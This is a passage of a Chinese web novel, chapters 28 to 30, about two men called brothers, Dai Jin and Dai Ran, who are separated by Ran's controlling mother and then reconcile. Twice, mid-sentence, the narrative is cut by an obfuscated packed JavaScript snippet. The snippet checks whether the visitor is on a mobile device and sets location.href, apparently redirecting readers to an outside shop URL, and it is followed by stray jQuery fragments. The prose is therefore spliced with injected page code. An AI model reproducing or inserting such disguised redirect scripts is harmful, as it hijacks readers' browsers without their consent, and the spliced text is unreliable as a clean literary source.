“你以为谁都他妈像你那么肤浅!别说我确实对黛烬有好感,就算没那个意思,黛烬也是我朋友,帮朋友说句公道话是应该的,我可不是你,做不出这种忘恩负义,背后插朋友一刀的事情!” 左耳朵进右耳朵出。 黛燃甚至根本没把这话收进耳朵里,他看准机会,趁服务生不注意,几步冲到自己猜测的包间前,大力拍门。 “砰砰砰——” 电话那端应声传来清晰的敲门声,尤京的骂声忽然停了。 黛燃莞尔。 哥哥,找到你了。 * 两个服务生一左一右,如意料之中般迅速上前要拉拍门的黛燃。 黛燃也听话,立马收手退后。 他全程视线都未曾离开过紧闭的房门,他等着他哥从里面出来。 下一秒,门开了。 是黛烬。 黛燃胜券在握的笑容刹那间僵硬在脸上,他没想到是他哥来开门。 猝不及防和他哥打了个照面,黛燃眼睛眨眨,泪水便再次夺眶而出。 他这次是真心的。 他从没见过他哥用这种眼神看他,疏离,冷漠,像是在看毫无关系的陌生人,和那些在大厅里注视他的目光没有两样。 黛燃又急又恼。 他哥怎么能和他是陌生人…… 他们什么都做过了,不可能是毫无关系的陌生人。 黛燃一把推开两个服务生阻拦的手臂,上前死死抱住黛烬。 “哥,哥哥,你听我解释,我不知道你知道了多少,别人说的话里也可能有假的,我不是有意要骗你,你给我个机会,我们回家慢慢说好不好?” 尤京快步跟在后面走出来。 “哥?你也配叫他哥?就凭你做的那些事情,要是真悔过,就离你哥越远越好!” 黛燃听不得有人说要他离他哥远一点这种话,把一动不动的黛烬抱得更紧,在他哥怀里怒骂尤京。 “我说了这事儿和你没关系!你这种一事无成的纨绔懂什么?” 黛燃缓了口气,还没等他继续骂,黛烬却忽然在此刻开了口。 他的语气虽然极度平静,话却狠狠扎了黛燃和他自己一刀。 “黛燃,我也一事无成啊。” 黛燃遇到他哥的事情就容易慌,情绪不对说话就不过脑子,现在才明白自己说错话了,急忙道歉。 “哥我没这个意思!对不起对不起我一时情急说错话了。” 黛燃话说得急,生怕他哥下一秒就要说出“什么锅配什么盖”这种骇人听闻的话,然后和他切割。 黛烬对这个道歉没什么反应,他把黛燃抱住自己的手一点一点扒下来。 黛燃看得出来他哥在犹豫。 只要犹豫就代表还有机会,他卯足了劲要留下他哥,眼泪挂在脸上,他腾出手了也不擦,故意在他哥面前示弱。 “哥哥,你不要燃燃了吗?” 黛烬显然被这话触动,看着黛燃带着泪痕的脸,他犹豫着要不要帮着擦一擦。 尤京在一旁目睹一切,看不下去,他自己也被骂了,但他不和小孩计较,拿出手机,从通讯录里找出个电话拨过去。 电话很快被接起,尤京语气温和,说出的话却打了黛燃一个措手不及! 祸不单行。 “漾姐,燃燃我找到了,需要我找人送他回去吗?” 28. 【烬】影子 黛燃被临家的人带走了。 说走就走。 哪怕是八点后很难打车的七八区,临家来接人也是分分钟,很简单,只需要一架三座轻型私人直升机就能做到。 一个人驾驶,另一个人按住不停挣扎的黛燃。 黛烬转身就走,不再听不再看。 原来他和黛燃不需要生离死别,也能天各一方。 他们都被送回家了。 黛烬挥手告别送他回家的尤京,天已经全黑,除了黛燃,现在只有影子能紧紧跟在他身后了。 形单影只。 走路。 上楼。 黛烬拿着钥匙站在家门口。 钥匙被他习惯性插进去,一次就插进去了,黛烬长长呼出一口气,却忽然没力气再转动小小的钥匙开门了。 家门口的墙壁每天都在被路过的空气啃食,墙灰一片片地掉,所以坑坑洼洼的墙面,每时每刻都拥有不一样的新壁画。 家的大门也是广告搬运工的固定据点,每天回家都能看到新出现的小广告,撕不掉,铲不完,总也擦不干净。 就连本就被啃食得不完整的墙壁也会返渗,麻绳专挑细处断,一下雨,墙上的眼泪就擦不干,层层叠叠的泪痕一圈一圈地积累下来,争抢着画时间的年轮。 生活好像什么都没变,又好像什么都变了。 可疲于奔命的黛烬看不出变化。 他只知道,他不想回家了。 黛烬扭头,第三次看向空荡荡的墙,又想起黛燃第一次上门找上他时的样子。 他说他没家了。 情绪终于开闸泄洪,黛烬一把丢开手边的钥匙,假装自己是个无家可归的孩子,孤零零地蹲在墙边,把脸埋进臂弯。 埋进臂弯的动作,好像天生带着什么开关似的,人一旦做这个动作,泪水马上就不受控制地跑出来了。 泪如雨下。 地面也开始学着渗水的墙壁,一点一滴地画年轮了。 黛烬不懂自己在痛苦什么,好歹知道他身上其实没有债,只是看走眼被人骗了而已,也没给他造成什么损失。 应该轻松一些的,不是吗? 轻松不起来。 他宁可那真的是一笔债! 那笔莫须有的债有黛燃的一份,黛燃的债他会慢慢还上,他会亲手一笔一笔还上的,到时候黛燃就理所应当该是他的! 是他努力为自己争取来的。 他没有比别人差。 他配得上黛燃。 他和黛燃之间难以逾越的鸿沟,他可以靠这笔债款亲手搭建起一把登天梯,只要走上去,他就能把黛燃拉到他身边。 鸿沟而已,只要有梯子,他就能说服自己往上爬。 只要他努力工作就能还上这笔债,只要还清了他就可以和黛燃好好地在一起,把命运牢牢掌握在自己手里。 他才不像他爸那样没出息,他只靠自己,不走捷径,也能踏踏实实地和喜欢的人在一起,他会被所有人看得起! 但现实不是这样的…… 事实是现实从没想过给他梯子,可能是觉得他用不上,所以只给了他竹篮。 好让他竹篮打水一场空。 为了省电,三楼的走廊没有安装照明用的灯泡,但窗外有最皎洁的月亮,月亮给黛烬身后打下一道长长的影子。 黛烬背不动,影子就只能落在地上。 如影随形。 黛烬听见了自己呜咽的哭声,声音没人压着,便随心所欲地越放越大。 他爸给他留下的,原来不是压死人的负债,也不是顶破天的存款。 不是梯子,不是捷径。 而是黛燃。 是他努力一辈子都花不起的遗产。 * 生活虐我千百遍,我待生活如初恋。 这句话只有黛烬听进去了。 一想到初恋,他又不受控制地想起黛燃,但相思苦不能当饭吃,黛烬得工作。 他开始没日没夜地上班,两班轮着上,恨不得把吃饭睡觉通通进化掉才好。 黛烬一门心思地上班,指望上班这剂廉价毒药,能暂时充当一下他的止痛剂。 直到某天加班时意外晕倒在公司里,他才想起自己已经很久没吃饭了。 好心的同事叫来救护车,呜啦呜啦地把黛烬往医院送,他去挂了两瓶葡萄糖,又被医生抓着嘱托半小时要三餐按时吃饭,这才被允许赶出医院。 从医院出来,黛烬连公交都没坐。 他一步步走在回家的路上,终于开始后悔自己为什么不吃饭,晕倒就没机会决定自己要不要来医院了。 半天,一趟,检查,打针,又一口气花掉他三天工资,黛烬此刻才意识到什么叫做身体是革命的本钱。 因为看病的花费比日均工资高。 黛烬这趟回家的路走了很久,从白天走到擦黑,累了就在路边的长椅坐一会儿,看看风景思考人生,全当旅游了。 反正坐哪儿不是发呆? 要是掏钱坐车回家,在家里就连个风景都看不到了。 花钱受罪。 他第一次觉得回家居然是花钱受罪,乍一听荒谬,细想又觉得合理。 合理的问题就是这样一点一点想出来的。 那他为什么要租房?当个流浪汉岂不是更好?或者干脆去没人住的生态保护区当个野人,这样还能收游客门票钱。 一举两得。 “嘀嘀——” 两声尖锐的喇叭声,就把还没成型的野人一下唤回人类文明。 黛烬这次很明显坐错位置了。 他坐在公交站台的座位抬头,见是一辆公交车在对他按喇叭。 他看着熟悉公交车,眼熟的司机,终于没再继续自己的野人论,而是心甘情愿地掏钱,决定再当一回文明人类。 他上车了。 黛烬这次没和司机寒暄,而是径直走向那个他和黛燃经常一起坐的位置。 黛燃没来,他就坐黛燃的位置了。 傍晚红彤彤的夕阳透过车窗,毫不客气地打在他身上,影子映在他身旁,那个现在正空着的位置上。 两个挨在一起的座位就都坐了人。 回家。 黛烬上楼,开门,关门,换鞋,进厨房。 他谨遵医嘱决定先吃饭。 黛烬如常地拉开厨房抽屉,闭着眼睛打算从里面随便捞一袋功能食品,手摸了半天,却一包都没摸到。 他低头一看。 空空如也。 诶? 黛烬没吃饭脑子都转不过来,第一时间觉得是家里失窃,东西被人偷了。 直到他低头无意间瞥到自己脚上的拖鞋,才慢半拍地抓到那个“小偷”是谁。 他家就他一个,本来领的就是一人份的功能食品,多了黛燃以后,肯定是不够两个人吃的。 唉。 白班被迫中断,这下第二份工作的晚班也上不成了。 黛烬拿出病例和自己合了张影,有他这张脸的加持,那照片拍得跟明星似的,不过他没自恋到给右下角签名。 而是把照片给客服主管发过去,便光速获批一天假后,他这才把病例团吧团吧,用力捏捏,随手丢进垃圾桶。 丢东西很正常,断舍离嘛,问题出在他丢完还眼欠地非要再看看。 嚯,这一看又不得了了。 黛烬气急败坏地走向垃圾桶,把捏得像苹果核的病例捡回来。 他没撕,而是把纸重新铺在厨房台面上,一道一道叠整齐,确定一点都不像苹果核后,才眼不见心为净地丢回去。 出门。 坐车。 黛烬坐车去了离他家最近的社区服务站,这个点正是下班高峰期,下班后顺道来领物资的人不少。 排到他的时候时间又不小心过去了一两个小时,但他没有需要赶时间去见的人,也就没什么脾气。 黛烬把自己的个人ID报给登记的工作人员,像前面一个人一样拿了自己的份额,他们住在同一片区,信誉值基本上也是差不多的。 食物的份额一样,他不用费脑子就可以复制粘贴前一个人的动作了。 黛烬拿了东西就准备走,还没走出去两步,就忽然被身后的工作人员叫住。 一道女声着急地喊他。 “先生,您东西拿少了!” 黛烬下意识转身,扭头看了眼周围,见身边没有其他人,才意识到是在和自己说话,他伸手指指自己。 “你是说我吗?” 说话的女生又点了头确认黛烬的话。 “是的先生,您的份量拿少了。” 黛烬稀里糊涂地拎着篮子回去,看工作人员一捆一捆地帮他拿剩下的份额,加到后面他都有点害怕了,忙伸手制止。 “等一下,这数量也太多了吧,这都快到我一年份的份额了,就算是做活动,以我的信誉值也是换不到这么多的,你们是不是弄错了?” 戴着袖章的女生闻言吓了一跳,出于谨慎,她忙放下手里的一箱功能食品,用全球联网的系统把黛烬的个人ID调出来,再次核对信息。 “78ZY9993,是您的ID吗?” 黛烬认真比对自己的号码,确认好几遍无误才点头。 “是我的 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最开始是一月份,每日的新增量都是0,没有变化,看起来就很快。 三个月前他还没遇到黛燃,每天都忙着工作和潇洒,过一天算一天,从没为自己的未来打算过,但也不惹事就是了。 所以他整个一月份的新增信誉值一直都是0。 黛烬看到1月28日停了下,想起那是他遇到黛燃的日子,不过那日子上没写黛燃的名字,他便很快就翻走了。 一月结束。 二月份,他某次城市漫游时,无意间在马路边遇到个耳背的老奶奶,老人眼睛看不清,耳朵听不见。 他扶老奶奶过马路,又刚好被巡逻的星探看见,见义勇为给自己挣了两分。 二月的流水和一月份差不多,黛烬划拉页面的速度变快,页面一串0飞速划过眼前。 二月结束。 三月份,3月2日,那串0消失了。 黛烬看着新增量上红彤彤的100,难以置信地刷新页面好几次,才确认这玩意儿不是系统卡bug。 还不止这一天是100! 他一口气把剩余数据滑到底,就看见了一串100取代一串0。 订单编码21040302P1: “23LY13”为“78ZY9993”申请“信誉值增加100分”,审核评估通过 订单编码21040303P1: “23LY13”为“78ZY9993”申请“信誉值增加100分”,审核评估通过 订单编码21040304P1: “23LY13”为“78ZY9993”申请“信誉值增加100分”,审核评估通过 订单编码21040305P1: “23LY13”为“78ZY9993”申请“信誉值增加100分”,审核评估通过 订单编码21040306P1: “23LY13”为“78ZY9993”申请“信誉值增加100分”,审核评估通过 订单编码21040307P1: “23LY13”为“78ZY9993”申请“信誉值增加100分”,审核评估通过 订单编码21040308P1: “23LY13”为“78ZY9993”申请“信誉值增加100分”,审核评估通过 订单编码21040309P1: “23LY13”为“78ZY9993”申请“信誉值增加100分”,审核评估通过 转账ID无一例外都来自同一个人,一个23开头的陌生ID。 今天是3月9日。 这些流水影子一样跟着他,他过一天,ID转账就跟着他一天。 如影随形。 黛烬的猜测终于在此刻得到印证,他把板子递回给工作人员,视线落回那两筐满满当当的基础物资。 他不认识二三区的人,正常情况下这辈子都很难认识。 但有一个人除外。 黛烬觉得眼皮好重,重得抬不起来。 耳边忽然传来一阵闹哄哄的杂音,那些杂音里掺杂的几句人声他实在听不清。 紧接着,那个除外的人便毫无预兆地重新出现在他面前。 失而复得。 黛燃丢下了手里的行李,直愣愣地扑到他怀里,一滴泪终于从沉重的眼皮里被震动着滑出来。 他哭着喊他。 “哥。” 29. 【燃】笼子 黛燃被抓回很久没回的家里,什么都不想做,满脑子只想着等他哥消气,他要给他哥发消息。 思念就像撕日历,日历越撕越少,思念却越积越多。 他已经好几天没和他哥联系了。 黛燃躺在床上辗转反侧,打字很容易,发出去却很难,他干脆闭上眼,心一狠,抖着手便点击发送。 【dr】:哥 指尖刚刚触及冰凉的屏幕,黛燃就连忙睁开了本就闭得不紧的眼。 没想到这条刚发出去,屏幕就秒弹出新消息,把他的消息顶了上去。 黛燃只觉心脏也被人狠狠往上顶了一下,高高地飞起,再重重地落回地上,像是在他的身体里上上下下跳蹦床。 他哥秒回他了。 黛燃不敢看,更不敢停,他马不停蹄点开输入框,又全屏放大,严严实实遮挡住他哥的消息。 他有好多话想对他哥说,如果先看见他哥的消息,他就一句都说不出来了。 一向严谨的黛燃,今天却连最基础的遣词造句都失了语序和逻辑。 黛燃边打字边控制不住地落泪,他随手抹了一把泪水,手也没擦,带着泪的手指就一刻不停地把下一个句子打出来。 他用密密麻麻的解释盖住空空荡荡的输入框,心里才终于有了一点底气。 黛燃慢慢喘着气,他把输入框缩小,露出半截聊天页面。 有了上一条消息的经验,这次的动作很快便复健到了从前的熟练。 黛燃点击发送。 【dr】:哥我真的不是有意骗你的,我们之前不认识,我害怕你不要我,我不是看不起你,也不是耍你,我真的真的很想和哥在一起,哥原谅我好不好?我保证我没有别的事情骗你了,等我回家之后你打我骂我都行,哥,你接我回家好不好? 他哥又秒回了。 黛燃这次终于敢把视线往左移,想看看他哥给他发了什么消息。 以他哥的性子,发来的消息大概是辱骂,指责,如果他人品大爆发的话,甚至可能直接收到原谅。 黛燃什么可能都想了,却棋差一招,万万没想到会收到一个红色感叹号。 (信息发送失败,请稍后再试!) 身体里的蹦床不结实,心脏一下跳穿了弹跳网面,从胸前咕噜噜地滚到脚底,摔得四分五裂,鲜血淋漓。 黛燃听不见自己的心跳了。 他往上扫了眼,这才发现他哥刚才原来不是秒回,而是把他拉黑了…… 他的第一条消息就没发出去。 黛燃愣在原地,花了点时间消化掉自己的情绪后,忙不迭又拨通他哥的手机号码。 “您拨打的电话正在通话中,请稍后再拨……” 黛燃不信邪,挂掉电话,换了他托人办的新号码再次拨通。 “您拨打的电话正在通话中,请稍后再拨……” 新号码也屡试屡败。 黛燃这才想起新电话是他亲手存进他哥联系人里的,他哥肯定知道这个号码是他。 所以一并拉黑了。 为什么拉黑黛燃不敢再细想,他丢开手机,跑到床头的座机电话旁,他哥的号码他烂熟于心,比拨他的号码拨得还快。 这是他家的座机,他哥肯定不知道。 应该打得通。 听筒被他再次放到耳旁,对面先是传来几秒转接的声音。 黛燃心急如焚地等着,跨区电话都需要转接时间他知道,而且二三区离七八区很远,等待时间便也尤其长。 但是只要是为了他哥,他等得起。 漫长的三十秒过去,那阵等待的铃声终于一秒一秒地缩短,却把黛燃的期待值拉橡皮经似的拉到最高。 断了。 那个熟悉的电子音再次传来。 “您所拨打的电话已被限制呼入,请查证号码后再拨……” 黛燃立马低头查看自己拨出去的电话,一个数字一个数字地看过去,核对好几遍才确认电话没问题。 他记错谁的电话都不会记错他哥的。 但是打不通。 黛燃手忙脚乱地检查手里的听筒,又趴着看座机的电话线,发现线也好好的,电话没问题。 他怎么都想不通,他哥的号码又不是被黑了,怎么可能会限制呼入…… 不对! 黛燃还跪在地上,握着听筒的手却忽然松了,金属制的听筒应声落地。 “咚——” 重物落地,和心跳的声音一样响。 为了怕母亲联系上黛烬,他哥的号码,确实被他找人黑了。 黛燃后悔得痛彻心扉,没想到当时自以为能拿来困住外人的锁,如今却反而成了关住自己的笼子。 功亏一篑。 身体和心一起沉到谷底,天有不测风云,马上就抓准机会开始下雨了。 流水的潺潺声划过耳侧,那是他卧室门开锁的声音。 黛燃顾不上听筒,抹掉眼泪迅速站起身,转身正好看见临漾开门走进来。 临漾用指纹刷开黛燃的卧室门,把手里的一包文件递到黛燃面前。 “我给你办了转学,你不想待在临家可以,我送你出国。” 黛燃刚经历过方才那一遭,接二连三的打击下,情绪已然在崩溃边缘,他没迂回,而是少见地反对起母亲的话。 “妈,我哪儿都不去。” 临漾却视而不见。 “燃燃,我给过你机会留在国内,但是你太让我失望了,机会这种东西,在我这里没有第二次。” 黛燃不接文件夹,临漾便把东西随手放在桌上,再次扭头看向自己这个不争气的儿子。 黛燃现在长得比她还要高,她虽是仰视,气势却不减半分。 “你名下的那套房产我查封了,锁也换了,现在不归你。” 临漾轻飘飘的话便将黛燃的前路锁死,黛燃看似唾手可得的自由,其实只在须臾间便会化为泡影。 黛燃垂着头,好像有点明白了他哥为什么总说自己讨厌特权主义。 他倒不讨厌,但也实在喜欢不起来。 他当初决定要离开临家,投奔他哥时,便知道会有今天。 可他不喜欢这些只有去争去抢,才能得到认可,从而换来喜欢东西的生活。 临家所有人都在往前跑,往上爬,没人会拉身在谷底,自甘堕落的他一把。 只有他哥不一样。 他哥不会因为他可以叫临燃喜欢他,而是因为他愿意叫黛燃喜欢他。 只有他哥愿意背着他往前走,能给他一个安稳,可以逃避一切困难的家。 所以他只要他哥。 无形的笼子将黛燃这只乱飞的鸟关住,临漾一朝被蛇咬十年怕井绳,不放心,又给笼子加了把锁。 “你的卡我也冻结了,除了家你没地方可以去,去了国外我会重新给你置办房产,位置随你定。” 黛燃抬起头,被迫从幻想中醒来,眼睁睁地看着现实中的自己被锁起来,这下彻底寸步难行,只能无助地看着笼外人。 “妈妈……” 临漾说一不二,交代完便不再和黛燃做无意义的纠缠,转身离开卧室锁上门。 黛燃下意识追上去,但临漾关门的动作很快,只听“砰”的一声,那阵水流声再次灌进耳朵里,他便被死死锁在室内。 黛燃伸手拍门,挣扎无果,最后只得靠着门蹲下,将脸埋进臂弯。 临家不缺电,哪怕是晚上室内也亮得晃眼,和黛烬家里为了省电,从而常年保持低功耗的照明比起来。 一个天上,一个人间。 万千灯光汇集一点。 强光照着笼子,笼子亮得没有影子。 * 度日如年。 临漾放话出去,黛燃就不指望可以找到人帮自己脱困了。 关在笼子里的鸟不吃饭,他想把血和泪一起流干。 黛燃不是故意闹脾气绝食,他从小时候起就不玩这种小孩子的把戏,而是真的没什么求生欲了。 卧室门又被敲响,黛燃在床上翻了个身,却不是起身去面对来人的,而是把脸和门朝向反方向,全当没听见。 视若无睹,恍若未闻。 但来的人不再是饲主,而是可以打开笼门的钥匙。 临玉进门,把从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531635|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佣人手里接过的饭菜放在桌上,换掉上一顿已经凉透都没人动过的午餐,站在门口看床上一动不动的黛燃,话里是藏不住的关切。 “燃燃,你还好吗?” 黛燃闻言身体一僵,像是看到了救星,他立马掀开被子下床,不顾自己一身凌乱的打扮,抓住临玉的手臂哀求。 “表哥,表哥你帮我一次吧。” 临玉早就料到黛燃会这么说,黛燃的事情他也托人打听过,所以这话他没答应,但怕刺激到黛燃,便也没拒绝。 “就算我现在把你送回去,你哥也不会接受吧?你看这事情办的,你——” 临玉没把话说尽,叹了口气。 “燃燃,撒谎是不对的。” 临玉一句无心之言,却唤起了黛燃不久前的回忆。 (黛燃,撒谎是不对的。) 他哥也说过一样的话,但是现在他哥不要他了…… 黛燃哭得更凶,他攥住临玉的衣角不松手。 “我求求你了临玉表哥,我真的知道错了,你帮我这一次,就这一次,好不好?我去和我哥道个歉,道完歉我肯定会乖乖回来的,我不会让我妈发现的,我保证不给你添麻烦……” 临玉欲言又止。 “燃燃,表哥不想干涉你的选择,但是黛烬他真的……不适合你。” 一样的话,黛燃觉得自己已经对很多人说过无数遍,但他还是要说。 “我不要适合我的人,我只要我哥!” 两人僵持不下,看着黛燃日渐消瘦的身体,临玉最终还是让步。 “燃燃你先吃饭,这事儿……我帮你想想办法。” 看黛燃无动于衷,临玉又气又无奈。 “你先吃饭!你不吃饭,还没见到你哥你就晕倒了。” 黛燃这才如梦初醒,立马松开临玉坐到桌边,他像个没有感情的扒饭机器,拿着筷子,味道都没尝,夹起食物便机械般往嘴里塞。 临玉看不下去,关上卧室门出去了。 临漾在楼下等他,一见人下楼便下意识站起身,嘴上虽然没开口关心,但行动骗不了人。 临玉赶忙点点头,表示黛燃已经愿意吃饭,临漾这才松了口气,慢慢坐下身。 临玉也走到临漾身边坐下,想着答应了黛燃的事情,他拿起茶壶,主动给临漾见底的茶杯续上水。 “小姨,我知道您是怕燃燃路走歪,但是他现在没死心,就算被送去国外,以他的性子,多半还是会想办法跑回来的,您又何必去做这个恶人?” 临漾却没被绕进这个问题里,她没拿被续满水的茶杯,而是反问临玉。 “他答应吃饭,你答应了他什么交换条件?” 临玉正想着用什么理由替黛燃打掩护,临漾便直接打断。 “临玉,别替他撒谎,我的儿子我了解,没有好处的事情他不会做。” 临玉有点抱歉,放下茶壶实话实说。 “燃燃想回去见黛烬一面。” 临漾今天却出乎意料地好说话,不仅没生气,甚至没拒绝。 “行,麻烦你带他去吧。” 临玉惊讶地抬起头,没想到会得到这样的回答。 临漾点亮手机,滑动屏幕,看着下属发来的消息,面上看不出喜怒。 “他不死心,那我就想办法让他死心。” 她放下手机,也给临玉倒了杯茶。 “辛苦你了。” * “辛苦你了。” 临玉对着驾驶位上的虞藏木道谢,他从副驾驶上下来,要替坐在后排的黛燃开车门。 可还没等他伸手,车门就被人从里面一把拉开,出门时还丢了魂似的黛燃,此刻却一改颓丧,跑得比谁都快。 临玉快走两步跟上,他来之前已经打过招呼,有人为他们带路,进信行便没人阻拦。 黛燃只横冲直撞地找人,得知黛烬人就在里面的休息室,他一分钟都等不了,没等别人为自己开门就率先推门进入。 看见黛烬的第一秒,黛燃的眼泪便习惯性夺眶而出,丢下行李扑进黛烬怀里。 他哭着喊他。 “哥。” 30. 【烧】道歉 黛燃紧紧抱住黛烬不撒手,终于有机会和他哥说上话,道歉张口就来。 “对不……” 黛烬却伸手去捂黛燃的嘴,确认黛燃不再说话后才放心,感受着掌心的湿润,他空出一只手给黛燃擦眼泪。 眼泪越擦越多,心也越擦越烫。 黛烬不做亏心事,生平第一次道歉,是在刚学会“对不起”这个词的时候,他妈教他这句话的那一年,他甚至还不识字。 后来他认识的字越来越多,遇到的人和事也越来越多,他渐渐明白了这话是什么意思,以及说出来会代表什么。 可不知怎么的,他忽然就再也说不出口了。 所以他不做亏心事。 黛烬深吸一口气。 而现在,他要第二次说出这句道歉。 面红心慌,全身都像是有蚂蚁在爬,抓住骨头缝就拼命往里钻,黛烬酝酿良久,为这句简短的道歉做足了准备工作。 “燃燃没错,是哥哥错了。” 是他的错,他小看了黛燃的决心,更低看了黛燃的爱。 黛烬流着泪苦笑。 他不该为自己那点儿没人在意的自尊心,便未经黛燃允许,擅自将他对黛燃的爱拿去和他爸放在一起比较。 他爸是他爸,他是他,他爸当年攀附豪门,到底是为了钱,还是为了比钱更值钱的爱,这些都和他没关系。 更和黛燃没关系。 他想证明自己,想拉近和黛燃之间的差距,从来都不该在黛燃身上下手。 卑鄙的不是骗了他的黛燃,而是作茧自缚,还要怨天尤人的他自己。 他的错,他认。 他的歉,他道。 黛烬知道自己在发抖,生活是密不透风的面粉,将他的身体大卸八块,器官裸露,再裹面包糠似的一块块裹紧。 但他要把泡在面粉里的心摘出来,拿筛子抖干净,再小心翼翼捧到黛燃面前。 紧张得手抖,黛烬干脆直接把手放在黛燃身上。 准备就绪。 两人面对面拥抱,他的手在黛燃的背上轻轻拍了拍,像是在隔着黛燃的身体,重重地敲自己的心脏。 可还没等他说话,黛燃就已经等不及,率先挣开了他捂嘴的手。 黛烬酝酿太久,久到黛燃误以为黛烬认错是要和他划清界限,急得慌不择路,不知所措,话到嘴边根本捂不住。 “哥,你别不要我——” 黛烬猛地被这话推下悬崖! 好不容易抖干净的心,刹那间便被重新丢进了生活这摊无处不在的面粉里。 但他没办法再举起筛子了。 黛燃是这个世界上最清澈的水,迎面泼上来,从头淋到脚,把他的面粉淅淅沥沥地搅成一锅浑浊的汤。 这下无论他再怎么折腾,都没办法给黛燃最干净的心脏。 算了。 将错就错。 黛烬不再准备,不再酝酿,趁机跟着黛燃混乱的道歉有样学样。 “燃燃,对不起。” 万事开头难。 黛烬亲口为自己开了头,后面的道歉便都畅通无阻。 “燃燃明明为我做了那么多,我却到现在才知道,对不起。” “哥不该这么轻易就松手,对不起。” “是哥太软弱了,哥怕被别人看不起,哥这辈子都害怕,也怕被说是吃软饭的,其实是哥没本事,给自己找了太多借口,还辜负了燃燃的爱,对不起……” 黛燃一下僵硬了动作,时间仿佛都跟着这一刻静止不动。 他没说话,几秒后他抱着黛烬的腰,又往黛烬的方向走了一小步。 两人明明是互相抱着的,黛烬却觉得自己是被黛燃揽在了怀里。 黛烬没撤身,没松手,没后退,而是终于如释重负地闭上眼。 说出来了。 原来道歉也没那么难。 比说我爱你简单。 * “燃燃也有错,不应该让哥伤心。” 黛燃听完道歉,就主动给他哥台阶下,自己跟着道歉。 他边道歉边给黛烬擦眼泪,两人互相擦泪,擦着擦着,脸就擦到一块儿去了。 临玉在旁边越看越不对劲,直到此刻才终于目瞪口呆。 这什么关系?! 不是兄弟吗?! 虞藏木停好车才姗姗来迟,错过了爱情前戏,却正好赶上高潮吻戏,看得津津有味,还不忘戳一戳身边捂脸的临玉。 “叹什么气?” 临玉拧眉,显然很不满意这场挂羊头卖狗肉的“亲情”电影,甚至想立刻退票再打一星差评。 “我这表弟,我看八成栽人手里了,我当初就说哪里不对劲!但我怎么都没想到他们居然真的是——” 临玉语塞,欲言又止好半天,怎么都说不出来后面的话。 虞藏木却觉得这爱情电影挺好看的,毕竟他“买票”的时候就早已识别出了电影的真面目,他看了还不忘给出观后感。 “人家不是兄弟吗?” 配合当下的剧情发展,临玉现在听这骗人的剧宣话术真觉得荒谬,气笑了。 “你装什么单纯,你自己看看这像兄弟吗?兄弟之间可不接吻。” 虞藏木被临玉一本正经解释的样子逗得不行。 “怕什么,人家要是真喜欢,临探长何必棒打鸳鸯?” 临玉将视线放回不远处的两人身上,看黛烬一手拉黛燃,一手去捡黛燃手边丢下的行李,气消后便只剩下不解。 “我就是想不通,以燃燃这个条件,他喜欢什么样的找不到?非要找个穷小子。” 虞藏木是个及时行乐主义,不喜欢筹谋这么长远的事情,看法自然不同。 “喜欢不就行了?临家不缺钱又不缺地位的,还要搞商业联姻那一套?” 临玉没说话,转身就往外走。 虞藏木又扭头看了眼黛燃两人,很快便收回目光,快走两步跟上前面的临玉,两人并肩回到车上。 临玉坐在副驾驶,扭头往车窗外看,正好看到黛烬牵着黛燃往外走,手里东西拎得满满的,只留给黛燃一个随身的小挎包让人背着。 临玉还想着虞藏木的问题,一口气叹了三回。 “我是临家的养子,商业联姻这种东西我倒是无所谓,妈对我没有对临沨哥要求那么高。” 临玉的临家养子身份不是秘密,至少虞藏木这种圈内人是一清二楚的。 临家这一代,现在是临玉的母亲临澜掌家做主,临澜只有一个亲生儿子临沨,后面才收下临玉这个养子。 临玉摇摇头。 “但是燃燃不一样,漾姐只有他这一个儿子,当然希望可以找到能帮扶燃燃的人,而不是个除了爱,其他都毫无助力的穷小子。” 虞藏木安静地听完临玉的话,才表达起自己的不赞同,不过他不是不赞同眼下这句话,而是不赞同临玉的上一句。 他撑着方向盘,将视线转回临玉身上。 “你怎么就没所谓了?你也可以有所谓啊,不然我不是白挣那么多钱?” 临玉听前半句还以为能听到虞藏木的什么高见,没料到后面的发展,又开始起承转他了,措不及防被逗笑。 虞藏木看临玉耳朵悄悄红了,便从车载冰箱里拿出一瓶准备好的橙汁递过去。 “现榨没多久的,没想到忽然来七八区,怕坏,所以临时收进冰箱里保鲜了,可能有点凉,临探长见谅。” 临玉想起和虞藏木说过要来送黛燃的事情,心想这人还挺有心,随口问了句。 “给燃燃准备的?” 虞藏木躲开了临玉要凑合接过来的手,收起不正经的样子,把话纠正。 “不是,专门给你的,我买了台饮料自动封口机,亲手榨汁封装的。” 虞藏木说罢才揭开拉环盖子,递到临玉面前。 “这不得提前练习一下对你好,这样以后熟练了,我得在岳母前面多表现一下,好让她尽快同意让我在生活上帮扶你。” 虞藏木的话总是明目张胆,临玉应付不了,就都假装视而不见。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531636|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接过橙汁喝了一口。 七八区的天确实比二三区冷不少,这瓶带着冰碴的饮料却刚好够压住临玉面上的燥热,勉强能把那些冰凉的话说出来。 “少往自己脸上贴金可以吗?哪儿都有你。” 只要是临玉的话,不管好坏,虞藏木都照单全收。 “哪都有我不好吗?这样临探长什么时候想我了,我随时恭候。” * 黛燃如愿以偿地被黛烬牵着走,却发现这不是回家的路,便跟黛烬跟得更紧。 “哥,我们去哪里?不回家吗?” 